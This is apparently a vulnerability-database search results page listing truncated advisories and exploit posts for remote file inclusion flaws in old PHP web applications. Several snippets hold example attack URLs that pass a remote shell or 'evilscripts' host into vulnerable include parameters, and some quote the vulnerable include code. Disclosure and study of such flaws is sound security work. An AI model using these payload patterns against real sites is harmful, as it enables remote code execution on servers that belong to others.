10023 matches found
VisoHotlink "mosConfig_absolute_path"远程文件包含漏洞
VisoHotlink是一款基于PHP的WEB应用程序。 VisoHotlink不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'includes/functions.visohotlink.php'脚本对用户提交的'"mosConfigabsolutepath"'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 VisoHotlink 1.x 目前没有解决方案提供： http://www.easy-script.com/compt.php?id=3312 !/usr/bin/perl VisoHotlink 1.0...
ACGVclick <= 0.2.0 (path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =========================================================== ACGVclick .. ... ..... ERROR RFI http://target/path//function.inc.php?path=SHELL Example: //function.inc.php?path=http://target/path/shell.x /RFI """"""""""""""""""""" ajann,Turke...
Xt-Stats v.2.4.0.b3 (server_base_dir) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= Xt-Stats v.2.4.0.b3 serverbasedir Remote File Include Vulnerability ======================================================================= Finded by ThE email protect...
AINS 0.02b (ains_main.php ains_path) Remote File Include Vulnerability
No description provided by source. AINS 0.02b - Remote File Include Vulnerabilities Download:http://puzzle.dl.sourceforge.net/sourceforge/wassup/AINS002beta.zip Finded by ThE dE@Th Greetings For :AsB-May Team & HaCk.eGy ainsmain.php: include"$ainspath/ainsglobal.inc";...
Drunken:Golem Portal 0.5.1 Alpha 2 Remote File Include Exploit
Exploit for unknown platform in category web applications ============================================================== Drunken:Golem Portal 0.5.1 Alpha 2 Remote File Include Exploit ============================================================== C MackRulZ - 2007 Bug name: Drunken:Golem Gaming...
MyPHPcommander 2.0 (package.php) Remote File Include Vulnerability
No description provided by source. script : http://sourceforge.net/projects/myphpcommander file : package.php vuln : requireonce $glroot.'system/lib/xml2.php'; Contact : Cold z3ro , [email protected] Exploit:...
phpMyReports <= 3.0.11 (lib_head.php) Remote File Include Vulnerability
No description provided by source. ================================================================= URL.S = http://www.phpmytools.org/pmr3.0.1120050105.tar.gz ! ================================================================= Finded by GolDM = Mahmoodali && Google.Com !...
phpMyReports <= 3.0.11 (lib_head.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= phpMyReports ! ================================================================= Exploit ! =================================================================...
xero-rfi.txt
C XORON - 2007 Bug name: Xero Portal v1.2 phpbbrootpath Local File Include Vulnerablity Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; Exploit: www.target.com/scriptpat/admin/adminlinkdb.php?phpbbrootpath=http://evilscripts?...
Virtual Path 1.0 (vp/configure.php) Remote File Include Vulnerability
No description provided by source. +===================================================================== + Virtual Path phpBB == v1.0 | +===================================================================== + Downlaoad S :http://sourceforge.net/projects/virtualpath/ |...
AINS 0.02b (ains_main.php ains_path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ====================================================================== AINS 0.02b ainsmain.php ainspath Remote File Include Vulnerability ====================================================================== AINS 0.02b - Remote File Inclu...
PT-2007-1990 · Unknown · Advanced Guestbook
Name of the Vulnerable Software and Affected Versions: Advanced Guestbook version 2.4.2 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the include path parameter to API endpoints such as "index.php", "addentry.php", or "picture.php". Recommendations: For...
MyPHPcommander 2.0 (package.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== MyPHPcommander 2.0 package.php Remote File Include Vulnerability ================================================================== script :...
CVE-2007-0500: Undefined Security Weakness
PHP remote file inclusion vulnerability in include/includes.php in Bradabra 2.0.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the includepath parameter...
CVE-2007-0495: Undefined Security Weakness
PHP remote file inclusion vulnerability in include/config.inc.php in PhpSherpa allows remote attackers to execute arbitrary PHP code via a URL in the racine parameter...
Virtual Path 1.0 (vp/configure.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== Virtual Path 1.0 vp/configure.php Remote File Include Vulnerability =====================================================================...
phpCOIN <= RC-1 (modules/mail/index.php) Remote File Include Vulnerability
phpCOIN = RC-1 modules/mail/index.php Remote File Include Vulnerability Script: phpCOIN Version: RC-1 URL: http://www.phpcoin.com/coinmodules/downloads/dload.php?id=1 Found by: Born To K!LL Bug in : modules/mail/index.php code : Include module functions file include...
phpXD <= 0.3 (path) Remote File Inclusion Vulnerability
No description provided by source. | | \ | Dr Max Virus | / \ | | / / || \ / \ ------------------------------------------------------------------------------...
phpAdsNew 2.0.7 Remote File Include
----------------------------------------------- phpAdsNew 2.0.7 Remote File Include ----------------------------------------------- Author: Alkmandz ----------------------------------------------- Vuln Code: includeonce $phpAdsgeoPlugin; ....................... function...
freeforum090-rfi.txt
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FreeForum 0.9.0 =- index.php fpath Remote File Include Vulnerability Script: FreeForum Version: 0.9.0 URL: http://www.phpfreaks.com/scripts.php?action=gotoDownload&scriptid=616 Found By : BorN To K!LL %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Bug in : index.php...